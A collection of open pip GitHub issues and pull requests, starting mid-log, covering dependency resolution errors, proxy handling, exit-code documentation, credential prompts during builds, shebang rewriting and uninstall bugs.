    Using cached pkutils-1.0.0-py2.py3-none-any.whl (9.3 kB)
  ERROR: Cannot install pkutils==1.0.0, pkutils==1.1.0, pkutils==1.1.1, pkutils==1.2.0 and pkutils==1.2.1 because these package versions have conflicting dependencies.
  
  The conflict is caused by:
      pkutils 1.2.1 depends on semver<2.7.3 and >=2.2.1
      pkutils 1.2.0 depends on semver<2.7.3 and >=2.2.1
      pkutils 1.1.1 depends on semver<2.7.3 and >=2.2.1
      pkutils 1.1.0 depends on semver<2.7.3 and >=2.2.1
      pkutils 1.0.0 depends on semver<2.7.3 and >=2.2.1
  
  To fix this you could try to:
  1. loosen the range of package versions you've specified
  2. remove package versions to allow pip attempt to solve the dependency conflict
  
  ERROR: ResolutionImpossible: for help visit https://pip.pypa.io/en/latest/user_guide/#fixing-conflicting-dependencies
  ----------------------------------------
WARNING: Discarding file:///Users/jaraco/draft/example. Command errored out with exit status 1: /usr/local/bin/python /private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pip-standalone-pip-vi5we1oe/__env_pip__.zip/pip install --ignore-installed --no-user --prefix /private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pip-build-env-f1as9f7e/overlay --no-warn-script-location --no-binary :none: --only-binary :none: -i https://pypi.org/simple -- 'setuptools>=36.2.4' 'pkutils>=1.0.0,<2.0.0' Check the logs for full command output.
ERROR: Command errored out with exit status 1: /usr/local/bin/python /private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pip-standalone-pip-vi5we1oe/__env_pip__.zip/pip install --ignore-installed --no-user --prefix /private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pip-build-env-f1as9f7e/overlay --no-warn-script-location --no-binary :none: --only-binary :none: -i https://pypi.org/simple -- 'setuptools>=36.2.4' 'pkutils>=1.0.0,<2.0.0' Check the logs for full command output.
```

</details>


### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: jaraco
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
C: build logic: Stuff related to metadata generation / wheel generation
issue_10736: state: open
title: pip should record the original index url or find links url of the package
body: ### What's the problem this feature will solve?

Currently users may download packages from various pip repositories (apart from pypi). These packages may contain alternative versions of packages from pypi. In order to better capture origin information, pip should record which package repository it downloaded a specific package from.



### Describe the solution you'd like

pip should record this information in the dist-info or egg-info folders it generates

### Alternative Solutions

Do nothing

### Additional context

This would be useful in capturing the original info and provenance data about pip packages. Specifically package-url (a well defined package id spec) relies on a parameter called repository_url to define this information. If pip records this information downstream sbom generation tools can use this. Related issue - https://github.com/anchore/syft/issues/680


### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: samj1912
labels: type: feature request: Request for a new feature
S: needs triage: Issues/PRs that need to be triaged
resolution: needs standard: Should be agreed as a standard before implementation
issue_10727: state: open
title: pip install with a custom prefix won't remove distribution metadata for older versions
body: ### Description

When you run `pip install --upgrade` for a python package, `pip` normally removes the metadata belonging to the older version. For the following case:
```
root@ed405f13742a:/# pip install --quiet twine==3.4.0
root@ed405f13742a:/# ls /usr/local/lib/python3.9/site-packages/ | grep twine
twine
twine-3.4.0.dist-info
root@ed405f13742a:/# pip install --quiet --upgrade twine
root@ed405f13742a:/# ls /usr/local/lib/python3.9/site-packages/ | grep twine
twine
twine-3.7.1.dist-info
```
The initial `twine-3.4.0.dist-info` gets removed once the upgrade operation is done. 

But if we run it with a custom `--prefix`, both of the distribution metadata survives after the upgrade operation:
```
root@ed405f13742a:/# pip install --prefix=plugins --quiet twine==3.4.0
root@ed405f13742a:/# ls plugins/lib/python3.9/site-packages/ | grep twine
twine
twine-3.4.0.dist-info
root@ed405f13742a:/# pip install --prefix=plugins --quiet --upgrade twine
root@ed405f13742a:/# ls plugins/lib/python3.9/site-packages/ | grep twine
twine
twine-3.4.0.dist-info
twine-3.7.1.dist-info
```

### Expected behavior

Ideally I would've expected the older version's metadata to get removed for both of the cases.

### pip version

21.2.4

### Python version

3.9

### OS

Ubuntu

### How to Reproduce

Use a clean docker image of Python 3.9, and execute the commands I've given.

### Output

_No response_

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: isidentical
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_10725: state: open
title: Embrace `|` for union of types
body: Now Python 3.7 is the minimum, instead of:

```python
from typing import Union
a: Union[int, str]
```

You can use the more concise (PEP 604):

```python
from __future__ import annotations
a: int | str
```

Similarly, you can use `dict` and `list` instead of `typing.Dict` and `typing.List` etc:

https://www.python.org/dev/peps/pep-0585/#implementation

_Originally posted by @hugovk in https://github.com/pypa/pip/pull/10703#discussion_r767273904_
user: pradyunsg
labels: type: maintenance: Related to Development and Maintenance Processes
state: awaiting PR: Feature discussed, PR is needed
issue_10724: state: open
title: --only-binary like option to force using wheel for everything *except* certain packages
body: ### What's the problem this feature will solve?

It is just about impossible to `pip install * --only-binary=:all:` without asking for dozens of projects to add wheels. (* here meaning, every python package I ever install now and forever, throughout the entire enterprise, on all the build servers, all the workstations, all the time)

If I run  `pip install jake --only-binary=:all:` it will fail because of a wheel-less dependency on an unmaintained package. I can spend my spare time filing "please publish a wheel" issues, but that solution isn't scaling.

If I do `pip install jake --only-binary=jake,.... (every dependency except the wheel-less)` that is only a temporary solution, tomorrow there might be another wheel-less dependency and I want to evaluate it before I give up and install it by sdist. Also, this made me type in every single dependency in the graph.

I hope I'm just not clever and there already is a way to do this.

### Describe the solution you'd like

Something like this would make me happy:

`pip install jake --only-binary-except=termcolor`

Yes, eventually termcolor will be highjacked and it will steal pem files on install, but it is a cost I have to pay if I want to force wheel installation everywhere else.

Also, the switch is unfortunately named, because semantically, my goals `--only-wheels-except=some-unmaintained-package`

### Alternative Solutions

Oh, since you asked
- File github issues asking to create a wheel
- File github issue to create *more* wheels because the author pinned the wheel to a particular python version
- Vendorize the library
- Ask transitive deps to vendorize the unwheeled
- stop using wheel-less libraries and everything that depends on wheelless libraries (that is a lot)
- Publish a wheeled fork and switch to the fork
- Use piwheels, but just for the wheels
- PEP 541 takeover of abandoned library and publish a wheel
- Convince maintainer to let you be co-maintainer on Github AND pypi and publish a wheel
- Write a proxy server to build a wheel on demand... ha, that'd be so much fail.

All of these options are various sorts of awful.

### Additional context

N/A

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: matthewdeanmartin
labels: type: feature request: Request for a new feature
S: needs triage: Issues/PRs that need to be triaged
issue_10714: state: open
title: pip is not 23.3.1 but i cant get it to update
body: ### Description

I tried to run ~$ pip install --upgrade pip
It gave me the following:
You are using pip version 21.2.3; however, version 21.3.1 is available.
So i did some research and I ran the command ~$ pip3 install --upgrade pip
and it gave me the following: 
localhost:~$ pip3 install --upgrade pip 
Traceback (most recent call last):
  File "/home/bjans/.local/bin/pip3", line 7, in <module>
    from pip._internal.cli.main import main
  File "/home/bjans/.local/lib/python3.5/site-packages/pip/_internal/cli/main.py", line 57
    sys.stderr.write(f"ERROR: {exc}")
                                   ^
SyntaxError: invalid syntax


### Expected behavior

i thought it would upgrade

### pip version

8.1.1-2ubuntu0.6

### Python version

3.5.2

### OS

Xenial chroot in Chrome OS (crouton)

### How to Reproduce

i dont know

### Output

_No response_

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: DutchCrafter09
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_10713: state: open
title: No connection could be made because the target machine actively refused it
body: ### Description

I am trying to upgrade PIP and install new packages, however, every time I try, I get this message and all the installs fail. Please help.

`WARNING: Retrying (Retry(total=n, connect=None, read=None, redirect=None, status=None)) after connection broken by 'NewConnectionError('<pip._vendor.urllib3.connection.HTTPSConnection object at 0x0000023F8B9628F0>: Failed to establish a new connection: [WinError 10061] No connection could be made because the target machine actively refused it')': /simple/numpy/`

### Expected behavior

Successful installation of new package

### pip version

21.3.1

### Python version

3.7 and 3.10 64-bit

### OS

Windows 10 64-bit

### How to Reproduce

pip install <AnyPackage> (output example shows attempt to install 'numpy')

### Output

```sh-session
WARNING: Retrying (Retry(total=4, connect=None, read=None, redirect=None, status=None)) after connection broken by 'NewConnectionError('<pip._vendor.urllib3.connection.HTTPSConnection object at 0x000001E9C35328F0>: Failed to establish a new connection: [WinError 10061] No connection could be made because the target machine actively refused it')': /simple/numpy/
WARNING: Retrying (Retry(total=3, connect=None, read=None, redirect=None, status=None)) after connection broken by 'NewConnectionError('<pip._vendor.urllib3.connection.HTTPSConnection object at 0x000001E9C3532770>: Failed to establish a new connection: [WinError 10061] No connection could be made because the target machine actively refused it')': /simple/numpy/
WARNING: Retrying (Retry(total=2, connect=None, read=None, redirect=None, status=None)) after connection broken by 'NewConnectionError('<pip._vendor.urllib3.connection.HTTPSConnection object at 0x000001E9C3532350>: Failed to establish a new connection: [WinError 10061] No connection could be made because the target machine actively refused it')': /simple/numpy/
WARNING: Retrying (Retry(total=1, connect=None, read=None, redirect=None, status=None)) after connection broken by 'NewConnectionError('<pip._vendor.urllib3.connection.HTTPSConnection object at 0x000001E9C3533370>: Failed to establish a new connection: [WinError 10061] No connection could be made because the target machine actively refused it')': /simple/numpy/
WARNING: Retrying (Retry(total=0, connect=None, read=None, redirect=None, status=None)) after connection broken by 'NewConnectionError('<pip._vendor.urllib3.connection.HTTPSConnection object at 0x000001E9C3533580>: Failed to establish a new connection: [WinError 10061] No connection could be made because the target machine actively refused it')': /simple/numpy/
ERROR: Could not find a version that satisfies the requirement numpy (from versions: none)
ERROR: No matching distribution found for numpy
```


### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: amorenojr
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_10706: state: open
title: Document exactly how pip chooses between multiple compatible versions
body: ### What's the problem this feature will solve?

I had to figure out why pip was picking a version with a local version identifier (e.g. `1.2.3+foo`) over the same version without the local ID (e.g. `1.2.3`), and it took a lot of googling and head scratching. I think the answer may implicitly be somewhere in https://www.python.org/dev/peps/pep-0440/#local-version-identifiers, but I find it hard to understand, and even figuring out that the thing after the + is called a "local version identifier" was non-trivial. Once I figured out that pip always prefers a local version ID (I think?), I also wanted to know if it was possible to change the default behavior (it's not I think). Each relevant fact required lots of searching and many different StackOverflow pages to find.

Similarly, I wanted to know how pip chooses between multiple available wheels when searching across pypi and an index provided by `--find-links`, and if it's possible to change this behavior. I also found this difficult to determine.

### Describe the solution you'd like

It would have been helpful if there was a single document describing exactly how pip matches user-specified versions against available versions, and how it prioritizes which one to install when there are multiple compatible choices (e.g. if I do `pip install some_package==1.2.3`, what kinds of versions will match, and how does it choose which one to install?). This would be helpful both with specific questions like the ones I had above, and I think could be generally helpful for learning about Python package versioning and what's possible with pip.

### Alternative Solutions

I think some of the pip prioritization rules may be unspecified behavior (i.e. could change in future versions), so I could imagine you wouldn't want to explicitly document the current de facto behavior. Even documenting the fact that it's unspecified would be useful in this case.

### Additional context

Apologies if this is already documented somewhere and I missed it!

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: skye
labels: type: docs: Documentation related
type: feature request: Request for a new feature
issue_10701: state: open
title: Resolver reports “conflict” between requirement and constraint when the intersection does not contain an installable distribution
body: ### Description

Consider the following files:

requirements.txt:
```
pywin32>=227
```

minimum-constraints.txt:
```
pywin32==227
```

Then pip fails installing this requirements file with the constraints file, reporting a conflict:

```
$ pip install -c minimum-constraints.txt -r requirements.txt 
ERROR: Cannot install pywin32>=227 because these package versions have conflicting dependencies.

The conflict is caused by:
    The user requested pywin32>=227
    The user requested (constraint) pywin32==227

To fix this you could try to:
1. loosen the range of package versions you've specified
2. remove package versions to allow pip attempt to solve the dependency conflict

ERROR: ResolutionImpossible: for help visit https://pip.pypa.io/en/latest/user_guide/#fixing-conflicting-dependencies
```

This conflict was originally reported in a GitHub Actions run with pip 21.2.2 on Python 3.10 on Windows (see [this log](https://github.com/pywbem/pywbem/runs/4402069172?check_suite_focus=true)). In these runs, the conflict was not reported with any other Python version on Windows (down to Python 3.6, pip 21.2.2 was used). The pywin32 package is only used on Windows.

The conflict is reproducable with the simplified files shown above and with the latest released version 21.3.1 of pip on at least Python 3.9 and 3.10 on macOS (I assume the win-only nature of pywin32 does not matter for the conflict checking).

If another package with M.N versioning is used, pip does not report a conflict. For example, using `ordereddict==1.1` and `ordereddict>=1.1`:

```
$ pip install -c minimum-constraints.txt -r requirements.txt 
Collecting ordereddict>=1.1
  Downloading ordereddict-1.1.tar.gz (2.1 kB)
  Preparing metadata (setup.py) ... done
Building wheels for collected packages: ordereddict
  Building wheel for ordereddict (setup.py) ... done
  Created wheel for ordereddict: filename=ordereddict-1.1-py3-none-any.whl size=3552 sha256=aac5902de79601db7205c452969a2da6cfadb94573a1a4a6e1fb42e7ff217037
  Stored in directory: /Users/maiera/Library/Caches/pip/wheels/cf/77/af/aee8a9045795a9f737655f4c4db59b6b464829a35f3b2c10b2
Successfully built ordereddict
Installing collected packages: ordereddict
Successfully installed ordereddict-1.1
```

That gives room to the suspicion that the conflict report has to do with the fact that the package in question uses a linear versioning scheme (i.e. just an integer version M).

### Expected behavior

The above constraints and requirements for packages with a linear versioning scheme should not cause a conflict.

### pip version

21.3.1

### Python version

3.10, 3.9

### OS

macOS, Windows

### How to Reproduce

1. Have the minimum-constraints.txt and requirements.txt file described above
2. Run `pip install -c minimum-constraints.txt -r requirements.txt`

### Output

```sh-session
See above
```


### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: andy-maier
labels: C: error messages: Improving error messages
issue_10694: state: open
title: Cache responses on the "other side" of redirects with status code 303
body: ### Description

See #8489 (cannot comment there because the bot locked it)

### Expected behavior

See #8489

### pip version

Latest

### Python version

any

### OS

any

### How to Reproduce

See #8489

### Output

_No response_

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: zooba
labels: type: enhancement: Improvements to functionality
C: cache: Dealing with cache and files in it
help wanted: For requesting inputs from other members of the community
issue_10691: state: open
title: Make proxy parameter override environment proxy
body: This PR addresses #10685. It makes the "--proxy" parameter take precedence over environment variables. 

user: meiswjn
issue_10690: state: open
title: Please add wildcard for pip.ini file
body: ### What's the problem this feature will solve?

Since most working people would use pip behind a proxy, a wildcard would help whitelist multiple similar domain in one line.

For example,

*.githubusercontent.com

instead of 

a.githubusercontent.com, b.githubusercontent.com ... etc.



### Describe the solution you'd like

use * symbol for the wildcard

### Alternative Solutions

The current workaround is to add new similar domain to pip.ini when error ( unable to get local issuer certificate (_ssl.c:1129) ) occurred when pip install 

for example

raw.githubusercontent.com, objects.githubusercontent.com

I have to add these 2 domains to pip.ini file at 2 different time after the related 2 errors occurred.


### Additional context

I have searched for existing issue and no same/similar  issue/ feature is raised. 

Thanks for all your work.

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: kenny99k
labels: type: feature request: Request for a new feature
S: needs triage: Issues/PRs that need to be triaged
issue_10685: state: open
title: --proxy should override environment variables
body: ### Description

Hey,

When specifying proxies in both the environment variables (http_proxy, ...) and the --proxy parameter, the environment variables seem to take precedence. 
Since --proxy is more explicit, it should be used whenever specified (even over pip config).

While it is possible to temporarily change the environment variables, it is much more work:
```bash
export http_proxy="<alternate_proxy>"
export https_proxy="<alternate_proxy>"
pip install -r requirements.txt
export http_proxy="<original_proxy>"
export https_proxy="<original_proxy>"
```
vs.
```bash
pip --proxy=<alternate_proxy> -r requirements.txt
```
 

### Expected behavior

_No response_

### pip version

20.0.2

### Python version

3.8

### OS

Ubuntu

### How to Reproduce

1. Define environment variables HTTP_PROXY, HTTPS_PROXY, http_proxy, https_proxy
2. Install a package with --proxy= and specify a different proxy

### Output

_No response_

### Code of Conduct

- [x] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: meiswjn
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_10683: state: open
title: [doc]: document exit codes
body: ### What's the problem this feature will solve?

One of our scripts just errored with `pip3 install -f https://... returned non-zero exit status 2`.

The man page does not show anything about the meaning of the possible exit statuses.

### Describe the solution you'd like

I'd like to have the possible exit status documented. A nice example is the last section of `man 8 useradd` (see online [here](https://linux.die.net/man/8/useradd)):

```man
Exit Values

The useradd command exits with the following values:

0
    success 
1
    can't update password file 
2
    invalid command syntax 
3
    invalid argument to option 
[...]
```

It would be nice to also have in the online docs, but those are not as convenient as man pages.

### Alternative Solutions

I did not find any documentation about the exit status, so no workaround.

### Additional context

I had to go to source code to find out this error code 2 is `UNKNOWN_ERROR`... (https://github.com/pypa/pip/blob/main/src/pip/_internal/cli/status_codes.py)


### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: heitorPB
labels: type: feature request: Request for a new feature
S: needs triage: Issues/PRs that need to be triaged
issue_10681: state: open
title: Add option "--exclude-dependencies" for "pip freeze" and "pip list"
body: <!---
Thank you for your soon to be pull request. Before you submit this, please
double check to make sure that you've added a news file fragment. In pip we
generate our NEWS.rst from multiple news fragment files, and all pull requests
require either a news file fragment or a marker to indicate they don't require
one.

To read more about adding a news file fragment for your PR, please check out
our documentation at: https://pip.pypa.io/en/latest/development/contributing/#news-entries
-->
1> Add option "--exclude-dependencies" for "pip freeze" and "pip list" as per feature request #10667 and #8981

Update:
2> Add option --user-requested for "pip freeze" and "pip list"
Refer [`requested` status](https://pip.pypa.io/en/stable/reference/installation-report/)


user: Mark-Joy
issue_10665: state: open
title: PEP 517 build process fails to take credential from interactive session
body: ### Description

My pip.conf is:

```
[global]
cert = /path/to/cert-bundle.crt
index-url = https://<internal-server>/artifactory/api/pypi/pypi/simple
```

As the `index-url` does not contain user/password information, I ususally get a prompt when installing a package, and it works fine:

```
(venv) pip install pytz
Looking in indexes: https://<internal-server>/artifactory/api/pypi/pypi/simple
User for <internal-server>: me
Password:
Collecting pytz
  Downloading https://<internal-server>/artifactory/api/pypi/pypi/packages/packages/.../pytz-2021.3-py2.py3-none-any.whl (503 kB)
     |████████████████████████████████| 503 kB 5.6 MB/s
Installing collected packages: pytz
Successfully installed pytz-2021.3
```

However, when I try to pip install krb5, I am initially asked for username and password, then it starts to collect the package;
but then it triggers installation of build dependencies, and this fails, because the "deep process" also runs pip, and this would again require a password prompt, but I am not actually asked to provide input.
Therefore the process fails with EOFError: EOF when reading a line.

See the full output further down.

(The error handling is also suboptimal in this case: On the first error it believes that krb5-0.2.0 is not available on the internal server, and repeats the same exercise looking for other versions.)

### Expected behavior

I would expect that either pip somehow caches the provided credentials for subsequent calls, or, if not, that it again prompts the user to provide the credentials.

### pip version

21.3.1

### Python version

3.6

### OS

Centos (Docker), Windows

### How to Reproduce

1. Have an internal Artifactory server that mirrors PyPi packages and a user/password.
2. Use a pip.conf as described above (index-url pointing to the Artifactory server, but without user/password info in the URL)
3. Run `pip install krb5` (or probably other packages that trigger build dependencies using wheel)


### Output

```sh-session
(venv) pip install krb5
Looking in indexes: https://<internal-server>/artifactory/api/pypi/pypi/simple
User for <internal-server>: me
Password:
Collecting krb5
  
  Using cached https://<internal-server>/artifactory/api/pypi/pypi/packages/packages/.../krb5-0.2.0.tar.gz (1.1 MB)
  Installing build dependencies ... error
  
  ERROR: Command errored out with exit status 2:
   command:
   /path/to/venv/bin/python3 \
     /path/to/venv/lib64/python3.6/site-packages/pip install \
	 --ignore-installed --no-user --prefix /tmp/pip-build-env-.../overlay \
	 --no-warn-script-location --no-binary :none: --only-binary :none: \
	 -i https://<internal-server>/artifactory/api/pypi/pypi/simple -- \
	 'setuptools >= 40.6.0' wheel
   cwd: None
   
  Complete output (58 lines):
  Looking in indexes: https://<internal-server>/artifactory/api/pypi/pypi/simple
  User for <internal-server>: ERROR: Exception:
  Traceback (most recent call last):
    File "/path/to/venv/lib64/python3.6/site-packages/pip/_internal/cli/base_command.py", line 164, in exc_logging_wrapper
      status = run_func(*args)
    File "/path/to/venv/lib64/python3.6/site-packages/pip/_internal/cli/req_command.py", line 205, in wrapper
      return func(self, options, args)
    File "/path/to/venv/lib64/python3.6/site-packages/pip/_internal/commands/install.py", line 339, in run
      reqs, check_supported_wheels=not options.target_dir
    File "/path/to/venv/lib64/python3.6/site-packages/pip/_internal/resolution/resolvelib/resolver.py", line 93, in resolve
      collected.requirements, max_rounds=try_to_avoid_resolution_too_deep
    File "/path/to/venv/lib64/python3.6/site-packages/pip/_vendor/resolvelib/resolvers.py", line 482, in resolve
      state = resolution.resolve(requirements, max_rounds=max_rounds)
    File "/path/to/venv/lib64/python3.6/site-packages/pip/_vendor/resolvelib/resolvers.py", line 349, in resolve
      self._add_to_criteria(self.state.criteria, r, parent=None)
    File "/path/to/venv/lib64/python3.6/site-packages/pip/_vendor/resolvelib/resolvers.py", line 173, in _add_to_criteria
      if not criterion.candidates:
    File "/path/to/venv/lib64/python3.6/site-packages/pip/_vendor/resolvelib/structs.py", line 151, in __bool__
      return bool(self._sequence)
    File "/path/to/venv/lib64/python3.6/site-packages/pip/_internal/resolution/resolvelib/found_candidates.py", line 155, in __bool__
      return any(self)
    File "/path/to/venv/lib64/python3.6/site-packages/pip/_internal/resolution/resolvelib/found_candidates.py", line 143, in <genexpr>
      return (c for c in iterator if id(c) not in self._incompatible_ids)
    File "/path/to/venv/lib64/python3.6/site-packages/pip/_internal/resolution/resolvelib/found_candidates.py", line 44, in _iter_built
      for version, func in infos:
    File "/path/to/venv/lib64/python3.6/site-packages/pip/_internal/resolution/resolvelib/factory.py", line 272, in iter_index_candidate_infos
      hashes=hashes,
    File "/path/to/venv/lib64/python3.6/site-packages/pip/_internal/index/package_finder.py", line 857, in find_best_candidate
      candidates = self.find_all_candidates(project_name)
    File "/path/to/venv/lib64/python3.6/site-packages/pip/_internal/index/package_finder.py", line 805, in find_all_candidates
      page_candidates = list(page_candidates_it)
    File "/path/to/venv/lib64/python3.6/site-packages/pip/_internal/index/sources.py", line 134, in page_candidates
      yield from self._candidates_from_page(self._link)
    File "/path/to/venv/lib64/python3.6/site-packages/pip/_internal/index/package_finder.py", line 765, in process_project_url
      html_page = self._link_collector.fetch_page(project_url)
    File "/path/to/venv/lib64/python3.6/site-packages/pip/_internal/index/collector.py", line 492, in fetch_page
      return _get_html_page(location, session=self.session)
    File "/path/to/venv/lib64/python3.6/site-packages/pip/_internal/index/collector.py", line 397, in _get_html_page
      resp = _get_html_response(url, session=session)
    File "/path/to/venv/lib64/python3.6/site-packages/pip/_internal/index/collector.py", line 131, in _get_html_response
      "Cache-Control": "max-age=0",
    File "/path/to/venv/lib64/python3.6/site-packages/pip/_vendor/requests/sessions.py", line 555, in get
      return self.request('GET', url, **kwargs)
    File "/path/to/venv/lib64/python3.6/site-packages/pip/_internal/network/session.py", line 454, in request
      return super().request(method, url, *args, **kwargs)
    File "/path/to/venv/lib64/python3.6/site-packages/pip/_vendor/requests/sessions.py", line 542, in request
      resp = self.send(prep, **send_kwargs)
    File "/path/to/venv/lib64/python3.6/site-packages/pip/_vendor/requests/sessions.py", line 662, in send
      r = dispatch_hook('response', hooks, r, **kwargs)
    File "/path/to/venv/lib64/python3.6/site-packages/pip/_vendor/requests/hooks.py", line 31, in dispatch_hook
      _hook_data = hook(hook_data, **kwargs)
    File "/path/to/venv/lib64/python3.6/site-packages/pip/_internal/network/auth.py", line 270, in handle_401
      username, password, save = self._prompt_for_password(parsed.netloc)
    File "/path/to/venv/lib64/python3.6/site-packages/pip/_internal/network/auth.py", line 233, in _prompt_for_password
      username = ask_input(f"User for {netloc}: ")
    File "/path/to/venv/lib64/python3.6/site-packages/pip/_internal/utils/misc.py", line 202, in ask_input
      return input(message)
  EOFError: EOF when reading a line
  ----------------------------------------
WARNING: Discarding https://<internal-server>/artifactory/api/pypi/pypi/packages/packages/.../krb5-0.2.0.tar.gz#sha256=...
(from https://<internal-server>/artifactory/api/pypi/pypi/simple/krb5/) (requires-python:>=3.6).

Command errored out with exit status 2:
/path/to/venv/bin/python3 \
  /path/to/venv/lib64/python3.6/site-packages/pip install \
  --ignore-installed --no-user --prefix /tmp/pip-build-env-4.../overlay \
  --no-warn-script-location --no-binary :none: --only-binary :none: \
  -i https://<internal-server>/artifactory/api/pypi/pypi/simple -- \
  'setuptools >= 40.6.0' wheel
Check the logs for full command output.
  
[Repeats with 0.1.2 and 0.1.1, but fails in the same way, of course.]
  
ERROR: Could not find a version that satisfies the requirement krb5 (from versions: 0.1.1, 0.1.2, 0.2.0)
ERROR: No matching distribution found for krb5
```


### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: chrihartl
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_10663: state: open
title: Change script shebang replacement to respect args
body: <!---
Thank you for your soon to be pull request. Before you submit this, please
double check to make sure that you've added a news file fragment. In pip we
generate our NEWS.rst from multiple news fragment files, and all pull requests
require either a news file fragment or a marker to indicate they don't require
one.

To read more about adding a news file fragment for your PR, please check out
our documentation at: https://pip.pypa.io/en/latest/development/contributing/#news-entries
-->

Closes #10661 

Changes the wheel installation `fix_script` function to only replace the starting `#!python` or `#!pythonw` with the exact Python executable and to preserve any arguments after the first space on this line.

The [PEP-427 specification](https://www.python.org/dev/peps/pep-0427/#recommended-installer-features) is not specific on what should be done with arguments in the shebang line, only that lines which start with `#!python` should be rewritten to point to the correct interpreter. The current implementation replaces the whole line with the correct interpreter path and so ignores any arguments which might have been specified.

user: mducle
issue_10661: state: open
title: pip wheel install scripts not respecting parameters after `#!python`
body: ### Description

I'm not sure if this is a bug or if it's the desired behaviour (I couldn't find any docs on it), but if I create a script with an argument after the interpreter in the shebang, e.g. `#!python -i` the argument is ignored / missed out when the **wheel** is installed and the `python` string is replaced by the real python executable.

This doesn't happen if I install it as an **egg**.




### Expected behavior

I expected that arguments in the shebang line are retained, and the behaviour in eggs and wheels are the same.

### pip version

21.3.1

### Python version

3.7

### OS

Windows 10

### How to Reproduce

My setup to reproduce this has the following structure:

```
top
|-- mypackage
|   |-- __init__.py
|-- scripts
|   |-- interactive_script.py
`-- setup.py
```

`scripts/interactive_script.py` is:

```
#!python -i

import mypackage

mypackage.do_some_preprocessing()
```

`mypackage/__init__.py` is:

```
def do_some_preprocessing():
    print('Done some preprocessing')
    print('Now starting an interactive session')
```

`setup.py` is:

```
from setuptools import setup

setup(
    name='mypackage',
    packages=['mypackage'],
    scripts=['scripts/interactive_script.py']
)
```

So, I expect that when I run `interactive_script.py` it would print the two lines and then go into a Python prompt. This is what happens when I do `python setup.py install` and install an `egg`. 

But if I do `python setup.py bdist_wheel` or `pip wheel .` and then install the wheel, it just prints the two lines and exits.

### Output

```sh-session
$ python setup.py install
$ interactive_script.py
Done some preprocessing
Now starting an interactive session
>>> quit()

$ pip uninstall mypackage
$ pip wheel .
$ pip install mypackage-0.0.0-py3-none-any.whl
$ interactive_script.py
Done some preprocessing
Now starting an interactive session
$
```


### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: mducle
labels: type: bug: A confirmed bug or unintended behavior
C: wheel: The wheel format and 'pip wheel' command
state: awaiting PR: Feature discussed, PR is needed
C: scripts: How scripts and entry points are managed
PEP implementation: Involves some PEP
issue_10659: state: open
title: pip cannot uninstall an editable install in some cases
body: ### Description

When a project that contains only pyproject.toml is installed in editable mode, pip cannot uninstall it.

### pip version

21.3.1

### Python version

3.9

### OS

Ubuntu

### How to Reproduce

```
$ git clone git@github.com:NeilGirdhar/tjax.git
Cloning into 'tjax'...
remote: Enumerating objects: 1819, done.
remote: Counting objects: 100% (223/223), done.
remote: Compressing objects: 100% (134/134), done.
remote: Total 1819 (delta 146), reused 134 (delta 89), pack-reused 1596
Receiving objects: 100% (1819/1819), 526.17 KiB | 3.96 MiB/s, done.
Resolving deltas: 100% (1288/1288), done.

$ pip install -e tjax
Obtaining file:///home/neil/tjax
  Installing build dependencies ... done
  Checking if build backend supports build_editable ... done
  Getting requirements to build wheel ... done
  Preparing metadata (pyproject.toml) ... done
Requirement already satisfied: networkx<3.0,>=2.4 in ./.pyenv/versions/3.9.6/lib/python3.9/site-packages (from tjax==0.14.2) (2.6.3)
Requirement already satisfied: yapf>=0.31 in ./.pyenv/versions/3.9.6/lib/python3.9/site-packages (from tjax==0.14.2) (0.31.0)
Requirement already satisfied: jax<0.3.0,>=0.2.21 in ./.pyenv/versions/3.9.6/lib/python3.9/site-packages (from tjax==0.14.2) (0.2.22)
Requirement already satisfied: optax<1,>=0 in ./.pyenv/versions/3.9.6/lib/python3.9/site-packages (from tjax==0.14.2) (0.0.9)
Requirement already satisfied: numpy>=1.21 in ./.pyenv/versions/3.9.6/lib/python3.9/site-packages (from tjax==0.14.2) (1.21.2)
Requirement already satisfied: matplotlib<4.0,>=3.3 in ./.pyenv/versions/3.9.6/lib/python3.9/site-packages (from tjax==0.14.2) (3.4.3)
Requirement already satisfied: colorful<0.6.0,>=0.5.4 in ./.pyenv/versions/3.9.6/lib/python3.9/site-packages (from tjax==0.14.2) (0.5.4)
Requirement already satisfied: absl-py in ./.pyenv/versions/3.9.6/lib/python3.9/site-packages (from jax<0.3.0,>=0.2.21->tjax==0.14.2) (0.13.0)
Requirement already satisfied: opt_einsum in ./.pyenv/versions/3.9.6/lib/python3.9/site-packages (from jax<0.3.0,>=0.2.21->tjax==0.14.2) (3.3.0)
